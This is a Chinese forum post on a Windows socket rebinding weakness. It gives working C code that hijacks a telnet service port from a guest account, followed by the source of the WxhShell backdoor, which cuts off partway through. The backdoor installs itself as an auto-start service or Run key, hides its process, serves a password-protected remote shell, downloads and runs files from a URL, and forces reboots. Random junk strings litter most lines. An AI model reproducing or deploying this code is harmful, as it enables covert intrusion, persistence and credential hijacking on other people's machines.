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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KCO.8=y3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6se8`[  
*?BY+0  
  saddr.sin_family = AF_INET; $33E-^  
 $TfB72  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (?m{G Q  
2TU V9Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f-3CDUQ`  
fGb}V'x}r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 udu<Nis4  
{.542}A  
  这意味着什么?意味着可以进行如下的攻击: 1~ W@[D  
4j~q,# $LW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~n- Px)  
LD ]-IX&L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N"}>);r  
5mQ@&E~#W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mFg$;F  
U|]cB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g'KxjjYT,  
ffG<hclk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hH 5}%/vF  
TKM^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4^uSW&`;/  
P&sWn?q Ol  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )w0x{_  
s EFQ8S  
  #include @QV0l]H0+  
  #include OL>)SJj5  
  #include H.\`(`6  
  #include    '{cSWa| #  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rjq Xz6  
  int main() ._^}M<o L  
  { 0W(mx-[H/  
  WORD wVersionRequested;  ][wb4$2  
  DWORD ret; o>_})WM1[  
  WSADATA wsaData; rw,Ylr :3  
  BOOL val; uG^CyM>R`  
  SOCKADDR_IN saddr; ^#d\HI  
  SOCKADDR_IN scaddr; (B>/LsTu  
  int err; 'g!T${  
  SOCKET s; < mQXS87  
  SOCKET sc; i}VF$XN  
  int caddsize; EW|$qLg  
  HANDLE mt; }9+;-*m/  
  DWORD tid;   uR ?W|a  
  wVersionRequested = MAKEWORD( 2, 2 ); N$6e KJ]  
  err = WSAStartup( wVersionRequested, &wsaData ); Yy88 5  
  if ( err != 0 ) { ;.V/ngaj  
  printf("error!WSAStartup failed!\n"); .JPN';  
  return -1; x=t(#R m  
  } 3Do0?~n  
  saddr.sin_family = AF_INET; C< 9x\JY%  
   2 ^m}5:0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6@s!J8!  
Z#Mm4(KNh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); se\fbe^0  
  saddr.sin_port = htons(23); m,lZy#02s3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^1najUpQ_n  
  { $DoR@2 ~y  
  printf("error!socket failed!\n"); {1)A"lQu  
  return -1; w}gmVJ#p  
  } =0pt-FQ  
  val = TRUE; h+}BtKA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f`n4'dG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z^_qXerjP  
  { iM@$uD$_Q2  
  printf("error!setsockopt failed!\n"); q#tUDxf(|  
  return -1; )O]6dd  
  } '{"Rjv7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C`hdj/!A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j|t=%*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3[ xdls  
rP:g`?*V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e0TYHr)X>3  
  { ,WRm{ v0f^  
  ret=GetLastError(); E`.xu>Yyj  
  printf("error!bind failed!\n"); s*k)h,\  
  return -1; 2#>;cn\  
  } hZx&j{  
  listen(s,2); z:>cQUYl  
  while(1) 2aj1IBnz6/  
  { _~z oMdT!  
  caddsize = sizeof(scaddr); *4}_2"[  
  //接受连接请求 ~w? 02FU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vN Bg&m  
  if(sc!=INVALID_SOCKET) |NuMDVd+s  
  { Wef%f] u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C|V7ZL>W  
  if(mt==NULL) wtw=RA  
  { w"v!+~/9  
  printf("Thread Creat Failed!\n"); e$Ksn_wEq  
  break; BS9VwG <Z  
  } w\)K0RN  
  } 3YHEH\60^  
  CloseHandle(mt); h3o'T=`Sm  
  } suY47DCX)  
  closesocket(s); 1,-C*T}nR  
  WSACleanup(); ye(b 7CX  
  return 0; jr=9.=jI8k  
  }   &DLWlMGq  
  DWORD WINAPI ClientThread(LPVOID lpParam) iH8we,s'  
  { wXIRn?z  
  SOCKET ss = (SOCKET)lpParam; ubwM*P  
  SOCKET sc; jH< #)R  
  unsigned char buf[4096]; 1&|]8=pG7  
  SOCKADDR_IN saddr; 2? qC8eC  
  long num; $aV62uNf  
  DWORD val;  0k (-  
  DWORD ret; Fi/iA%,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o-\h;aQJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^%r6+ey  
  saddr.sin_family = AF_INET; lq-KM8j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &t= :xVn-M  
  saddr.sin_port = htons(23); \ %Mcvb.?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /eV)5`V  
  { V$?6%\M^*  
  printf("error!socket failed!\n"); W/qXQORv  
  return -1; [d`E9&Hv3  
  } KN}#8.'>3  
  val = 100; kelBqJ-,p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` ,\b_SFg  
  { "w:h  
  ret = GetLastError(); !"N,w9MbD  
  return -1; BJjic%V  
  } B[N]=V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~/L:$  
  { (!* l+}  
  ret = GetLastError(); NM{)liP ;8  
  return -1; _4by3?<c  
  } 6u, g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _%e8GWf  
  { Va8 }JD  
  printf("error!socket connect failed!\n"); LCivZ0?|X  
  closesocket(sc); (Ceruo S  
  closesocket(ss); Ui'v ' $  
  return -1; ^B<-.(F  
  } 4fi4F1f  
  while(1) eC-&.Fl  
  {  NNt n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "V[j&B)P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w!m4>w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4|?(LHBD)  
  num = recv(ss,buf,4096,0); YK/? mj1x  
  if(num>0) Qc7*p]E&  
  send(sc,buf,num,0); }F>RI jj  
  else if(num==0) v3DK0MW  
  break; $MR1 *_\V  
  num = recv(sc,buf,4096,0); pr<u 5  
  if(num>0) n9Fq^^?  
  send(ss,buf,num,0); evyjHcCx  
  else if(num==0) f Fi=/}  
  break; Xh8U}w<k6  
  } ^T&{ORWz  
  closesocket(ss); WsHD Ip  
  closesocket(sc); j,OA>{-$  
  return 0 ; d]E=w6 +;Q  
  } P.Nt jz/B  
5gf ~/Zr  
zqA>eDx  
========================================================== & DP"RWT/  
TCp9C1Q4  
下边附上一个代码,,WXhSHELL <Y`(J#  
=F \Xt "  
========================================================== Vh0cac|X  
&& ]ix3  
#include "stdafx.h" WSozDNF!'f  
U^_\V BAk  
#include <stdio.h> bc(MN8b]j  
#include <string.h> :W)lt28_  
#include <windows.h> Zf$mwRS[_  
#include <winsock2.h> tR!C8:u  
#include <winsvc.h> |>ztx}\  
#include <urlmon.h> kX L0  
U6-47m0%  
#pragma comment (lib, "Ws2_32.lib") Mi.#x_  
#pragma comment (lib, "urlmon.lib") .rBU"Rbo  
0Z2XVq~T$  
#define MAX_USER   100 // 最大客户端连接数 ;-3&yQ7N)  
#define BUF_SOCK   200 // sock buffer X5o*8Bg4M  
#define KEY_BUFF   255 // 输入 buffer "mn?*  
Z66Xj-o  
#define REBOOT     0   // 重启 {iyJ HY  
#define SHUTDOWN   1   // 关机 LVUA"'6V  
LuZlGm  
#define DEF_PORT   5000 // 监听端口 :}NheRi  
X!|eRA~o  
#define REG_LEN     16   // 注册表键长度 ]G i&:k  
#define SVC_LEN     80   // NT服务名长度 &J/EBmY[  
\`y:#N<c  
// 从dll定义API N8nt2r<h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UlWmf{1%]?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9,8/DW.K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FRxR/3&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]WNY"B>+  
jG ouwta  
// wxhshell配置信息 ~C{:G;Iy0  
struct WSCFG { VP!4Nob  
  int ws_port;         // 监听端口 ,#XXwm ^I  
  char ws_passstr[REG_LEN]; // 口令 >$ZhhM/} J  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tv#d>ZSD  
  char ws_regname[REG_LEN]; // 注册表键名 u.A}&'H  
  char ws_svcname[REG_LEN]; // 服务名 6?x F!VIL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  L]l/w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m ^FKE:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?n# $y@U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3[Q7'\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E,d<F{=8,o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 29=ob("  
Fug4u?-n  
}; GJWGT`"  
%e[E@H7  
// default Wxhshell configuration {_!,T%>+1  
struct WSCFG wscfg={DEF_PORT, jUD^]Qs  
    "xuhuanlingzhe", qMEd R;o  
    1, &w9*pJR %  
    "Wxhshell", iuj%.}  
    "Wxhshell", O)W+rmToI  
            "WxhShell Service", |*48J1:1y  
    "Wrsky Windows CmdShell Service", }bRn&)e  
    "Please Input Your Password: ", Y;R,ph.a  
  1, (Q*x"G#4>  
  "http://www.wrsky.com/wxhshell.exe", HT/!+#W .  
  "Wxhshell.exe" kxJs4BY0  
    }; 4"|3pMr  
3XB`|\:  
// 消息定义模块 ?#a&eW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \s[L=^!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p8XvfM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $S' TW3  
char *msg_ws_ext="\n\rExit."; }Tk:?U{  
char *msg_ws_end="\n\rQuit."; 0Sk~m4fj(  
char *msg_ws_boot="\n\rReboot..."; I~6(>Z{  
char *msg_ws_poff="\n\rShutdown..."; i+5Qs-dHA  
char *msg_ws_down="\n\rSave to "; `oe=K{aX  
_1RvK? ;.{  
char *msg_ws_err="\n\rErr!"; _"x%s  
char *msg_ws_ok="\n\rOK!"; T*@o?U  
]35`N<Ac  
char ExeFile[MAX_PATH]; Wgs6}1b g  
int nUser = 0; ]@21KO  
HANDLE handles[MAX_USER]; q.R(>ZcV  
int OsIsNt; E,\)tZ;,  
J|hVD  
SERVICE_STATUS       serviceStatus; G11KAq(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #/Ob_~-?j  
VOC$Kqg;  
// 函数声明 f99"~)B|  
int Install(void); l?IeZisX  
int Uninstall(void); ,<!*@xy7v  
int DownloadFile(char *sURL, SOCKET wsh); {/)i}V#RE  
int Boot(int flag); vN v'%;L  
void HideProc(void); H!0m8LCnb  
int GetOsVer(void); Z&?4<-@6\p  
int Wxhshell(SOCKET wsl); l z"o( %D  
void TalkWithClient(void *cs); 4Th?q{X  
int CmdShell(SOCKET sock); pRh9+1EM;  
int StartFromService(void); o "0 ~  
int StartWxhshell(LPSTR lpCmdLine); /Z]nV2$n)V  
I9L3Y@(f6m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (e5Z^9X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^w%%$9=:r  
wbOYtN Y@  
// 数据结构和表定义 !w UznyYwt  
SERVICE_TABLE_ENTRY DispatchTable[] = '/XP4B\(E  
{ .|u`s,\  
{wscfg.ws_svcname, NTServiceMain}, ,[ppETz  
{NULL, NULL} UAz^P6iQ`~  
}; u0<yGsEGD  
|AE{rvP{@  
// 自我安装 @D*PO-s9  
int Install(void) ud(0}[  
{ w%TrL+v  
  char svExeFile[MAX_PATH];  |15!D  
  HKEY key; iku*\,6W  
  strcpy(svExeFile,ExeFile); Gjq7@F'  
LCS.C(n,  
// 如果是win9x系统,修改注册表设为自启动 '_7rooU9  
if(!OsIsNt) { 'Q=)-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8EkzSe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jlb{1B$7  
  RegCloseKey(key); EKcPJ\7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b{-"GqMO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !oXFDC3k  
  RegCloseKey(key);  k4<28  
  return 0; Q|+ a   
    } 1yz%ud-l  
  } I+twI&GS  
} LHx ")H?,  
else { 2!}F+^8'P  
3 eF c  
// 如果是NT以上系统,安装为系统服务 @=AQr4&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vb#a ,t  
if (schSCManager!=0) At<MY`ka  
{ 'OTZ&;7{  
  SC_HANDLE schService = CreateService e<{ d{  
  ( V,VL?J\  
  schSCManager, ?(R#  
  wscfg.ws_svcname, &qPezyt  
  wscfg.ws_svcdisp, A0@,^|]  
  SERVICE_ALL_ACCESS, FXY>o>K%h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8<0P Ssx  
  SERVICE_AUTO_START, P 0+@,kM  
  SERVICE_ERROR_NORMAL, <]%6x[  
  svExeFile, %U}6(~  
  NULL, jK/F zD0-  
  NULL, "|J6*s   
  NULL, />8A?+g9u  
  NULL, "3]}V=L<5  
  NULL \ ;]{`  
  ); t oDi70o  
  if (schService!=0) ( sl{Rgxe*  
  { u/|@iWK:  
  CloseServiceHandle(schService); b'SP,}s5"  
  CloseServiceHandle(schSCManager); Kv1~,j6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zRLJ|ejMP  
  strcat(svExeFile,wscfg.ws_svcname); uUx7>algF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >G"fMOOkW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IQC[ewk  
  RegCloseKey(key); QPLWRZu@  
  return 0; hR0a5   
    } ud)WH|Z  
  } \WnTpl>B  
  CloseServiceHandle(schSCManager); R0#scr   
} @$5~`?  
} W{q P/R  
C[%&;\3S@  
return 1; Sn'!Nq>  
} 6y Muj<L  
'3^qW  
// 自我卸载 CDtL.a\  
int Uninstall(void) V D7^wd9  
{ 4?@#w>(  
  HKEY key; |[5;dt_U/  
2 KHT!ik  
if(!OsIsNt) { oI`Mn3N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ami>Pp  
  RegDeleteValue(key,wscfg.ws_regname); OW=3t#"7Kp  
  RegCloseKey(key); g8'8"9:xC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "]p&7  
  RegDeleteValue(key,wscfg.ws_regname); DFZ@q=ZT  
  RegCloseKey(key); w0nbL^f  
  return 0; ):tv V  
  } }m?Ut|  
} =ZU!i0 K  
} W\Scak>  
else { `Nvhp]E  
<4;, y*"n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b p?TO]LH  
if (schSCManager!=0) KK >j V  
{ W!.FnM5x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }oG6XI9  
  if (schService!=0) iNi1+sm  
  { LzLJ6A>;R  
  if(DeleteService(schService)!=0) { ]Z\W%'q+  
  CloseServiceHandle(schService); l}-k>fug  
  CloseServiceHandle(schSCManager); ziO(`"v  
  return 0; [cEGkz  
  } 9'~qA(=.?  
  CloseServiceHandle(schService); 8/)q$zs  
  } !F~1+V>zP  
  CloseServiceHandle(schSCManager); bxxLAWQ(  
} \6APU7S  
} B[YyA  
FdnLxw  
return 1; [bo"!Qk%  
} iKu3'jZ/O  
tFn[U#'  
// 从指定url下载文件 =Oh$pZRymu  
int DownloadFile(char *sURL, SOCKET wsh) nXfz@q  
{ O,^s)>c  
  HRESULT hr; Yyd}>+|<,  
char seps[]= "/"; !~F oy F  
char *token; S{2;PaK  
char *file; 8'3&z-  
char myURL[MAX_PATH]; u&o4? ]6  
char myFILE[MAX_PATH]; G.XxlI}  
?RG;q  
strcpy(myURL,sURL); nSSJl  
  token=strtok(myURL,seps); (ESFR0  
  while(token!=NULL) mP15PZ  
  { $(0<T<\  
    file=token; n;xzjq-  
  token=strtok(NULL,seps); rttKj{7E  
  } [-Y~g%M  
,mCf{V]#  
GetCurrentDirectory(MAX_PATH,myFILE); _O87[F1  
strcat(myFILE, "\\"); #2Q%sE?  
strcat(myFILE, file); %j17QD8  
  send(wsh,myFILE,strlen(myFILE),0); |SMigSu r`  
send(wsh,"...",3,0); #>_fYjT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }2BNy9q@  
  if(hr==S_OK) d@*dbECG  
return 0; +N,Fq/x  
else RDQ]_wsyKG  
return 1; zn= pm#L  
t W   
} s2N'Ip  
q2*)e/}H  
// 系统电源模块 ]!P6Z?  
int Boot(int flag) tZ@&di:-F  
{ VY~*QF~P  
  HANDLE hToken; J'=s25OWU  
  TOKEN_PRIVILEGES tkp; L&NpC&>wD  
qx >Z@o  
  if(OsIsNt) { ';v2ld 9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cJwe4c6.m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  r?0w5I  
    tkp.PrivilegeCount = 1; k"BM1-f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Edh9=sxL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V5h_uGOD  
if(flag==REBOOT) { ]+qd|}^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :|I"Em3R  
  return 0; .|L9}<  
} @*op5qVw  
else { A9DFZZ0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) at*DYZBjDB  
  return 0; +dq2}gM  
} R"t2=3K  
  } +ZE"pA^C  
  else { y\iECdPU  
if(flag==REBOOT) { u5U^}<}y}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `+TC@2-?  
  return 0; '{JMWNY  
} {~EsO1p  
else { sKiy 1Ww  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1#>uqUxah  
  return 0; 8BS Nm  
} w[QC  
} Zmk 9C@  
c(3idO*R)  
return 1; 2"Unk\Y  
} jgpF+V-n$  
MbTmdRf  
// win9x进程隐藏模块 z'>b)wY](  
void HideProc(void) 8193d%Wb  
{ @1pfH\m  
KV{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #f=41d%  
  if ( hKernel != NULL ) 0!:%Ge_  
  { 9dp4&&Z+F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2ss*&BR.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  mSFA i  
    FreeLibrary(hKernel); vf?m6CMU !  
  } Jl6biJx  
11fV|b%  
return; h;cw=G  
} KUq(&H7  
^\VVx:]  
// 获取操作系统版本 ]nxSVKE4p  
int GetOsVer(void) '2<N_)43$  
{ E`wq`g`H<  
  OSVERSIONINFO winfo; li')U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {t'SA]|g  
  GetVersionEx(&winfo); &,/-<y-S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1F2(MKOo!  
  return 1; gIGi7x  
  else KAr5>^<zw  
  return 0; 4>HQ2S{t  
} !Xq5r8]  
AQ"rk9Z  
// 客户端句柄模块 gd]k3XN$f  
int Wxhshell(SOCKET wsl) \)g}   
{ v)zxQuH]^  
  SOCKET wsh; \/ Zo*/  
  struct sockaddr_in client; &y3;`A7,  
  DWORD myID; q?0&0  
1yc$b+TH  
  while(nUser<MAX_USER) [A;0I jKam  
{ U:aaa  
  int nSize=sizeof(client); [|YuT:Cp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (I1^nrDP.  
  if(wsh==INVALID_SOCKET) return 1; H,!yG5yF  
K1- 3!G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sa"!ckh  
if(handles[nUser]==0) ~Bt >Y  
  closesocket(wsh); )o::~ eu  
else Nfl5tI$U:  
  nUser++; Ivq|-LDNc  
  } =AuxME g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u$"Ew^C  
@[ '?AsO  
  return 0; .z,`{-7U  
} G$lE0_j2{  
d8^S~7  
// 关闭 socket fhki!# E8M  
void CloseIt(SOCKET wsh) 91FVe  
{ QA~Lm  
closesocket(wsh); wI[J>9Qn  
nUser--; z Hl+P*)  
ExitThread(0); mP +H C)2  
} %L  nG^L  
kxY9[#:<fB  
// 客户端请求句柄 ;l@Ge`&u  
void TalkWithClient(void *cs) <+<,$jGC-  
{ NQd0$q  
\Dx)P[Ur  
  SOCKET wsh=(SOCKET)cs; v@:m8Y(t  
  char pwd[SVC_LEN]; 5lE9UoG[Q  
  char cmd[KEY_BUFF]; pf&SIG  
char chr[1]; xwijCFI*  
int i,j; '^:q|h  
uHt@;$9A  
  while (nUser < MAX_USER) { 7C@m(oK  
*.-qbwOg  
if(wscfg.ws_passstr) { OV7SLf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n*eqM2L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x{ VUl  
  //ZeroMemory(pwd,KEY_BUFF); %cq8%RT  
      i=0; 5pxw[c53#  
  while(i<SVC_LEN) { ~/Kqkhq+c  
*nY$YwHB  
  // 设置超时 S^SF!k=  
  fd_set FdRead; `{nzw$  
  struct timeval TimeOut; :1!k*5  
  FD_ZERO(&FdRead); Vf$q3X  
  FD_SET(wsh,&FdRead); "Qe2U(Un  
  TimeOut.tv_sec=8; 69``j{Z+  
  TimeOut.tv_usec=0; Gwfi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'R n\CMTH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & c 81q2  
6[]O3Aa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g+ cH  
  pwd=chr[0]; h]^= y.Q  
  if(chr[0]==0xd || chr[0]==0xa) { hJoh5DIE95  
  pwd=0; 4~0 @(3  
  break; r 4+%9)  
  } -lI6!a^  
  i++; $w! v  
    } t&(\A,ch%  
N6/;p]|  
  // 如果是非法用户,关闭 socket wg KM6?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $"{I| UFC  
} ^cI RP  
@9h6D<?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g;</|Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pIvr*UzY  
{9h`h08?z  
while(1) { RV6|sN[x>  
@?[}\9dW  
  ZeroMemory(cmd,KEY_BUFF); |\h<!xR  
!4fT<V (  
      // 自动支持客户端 telnet标准   Y ^}c+)t  
  j=0; A}0u-W  
  while(j<KEY_BUFF) { NS^+n4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <ta#2  
  cmd[j]=chr[0]; qoJ<e`h}  
  if(chr[0]==0xa || chr[0]==0xd) {  k< g  
  cmd[j]=0; /cZ-+cu  
  break; Wg=4`&F^  
  } '<hg c  
  j++; ]iH~ 1[  
    } Jnq}SUev  
2~W8tv0^b2  
  // 下载文件 |F?/L>  
  if(strstr(cmd,"http://")) { `&o>7a;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d2<+Pp  
  if(DownloadFile(cmd,wsh)) sj%\lq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hXP'NS`iv  
  else o<i\1<eI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,V # r  
  } ey) 8q.5  
  else { $ud\CU:r  
(p}N cn.  
    switch(cmd[0]) { 4*_.m9{  
  $or8z2d1  
  // 帮助 9{n?Jy  
  case '?': { |Ht~o(]&&/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fTV}IP  
    break; ?8@EBPpC  
  } kk7M$)>d  
  // 安装 E'F87P^>  
  case 'i': { HmVpxD+  
    if(Install()) 5?C) v}w+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P#ot$@1v  
    else sn:wLc/GAd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iKe68kx  
    break; CJ[^Fi?CH  
    } >`Zw0S  
  // 卸载 ($^=f}+  
  case 'r': { $}Ky6sBnvO  
    if(Uninstall()) vS+E`[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJZ3P@ L  
    else g7<u eF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #(Ezt% ^  
    break; _J33u3v  
    } [5s4Jp$+  
  // 显示 wxhshell 所在路径 C!S( !Z,  
  case 'p': { Tyt1a>! qA  
    char svExeFile[MAX_PATH]; JAP4Vwj%j  
    strcpy(svExeFile,"\n\r"); s<fzk1LZ  
      strcat(svExeFile,ExeFile); n*vhCeL  
        send(wsh,svExeFile,strlen(svExeFile),0); ttA0* >'  
    break; v[=TPfX0  
    } ^WmP,Xf#  
  // 重启 #H/suQZN"g  
  case 'b': { w]Z:Y`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IRB BLXv7\  
    if(Boot(REBOOT)) }C9P--  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rkz[x  
    else { szU_,.\  
    closesocket(wsh); ZH8Oidj`  
    ExitThread(0); x"n)y1y  
    } &{H LYxh   
    break; <& p0:S7  
    } _16IP  
  // 关机 '"o&BmF  
  case 'd': { g0-J8&?X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p;YS`*!s  
    if(Boot(SHUTDOWN)) tAH0o\1;  
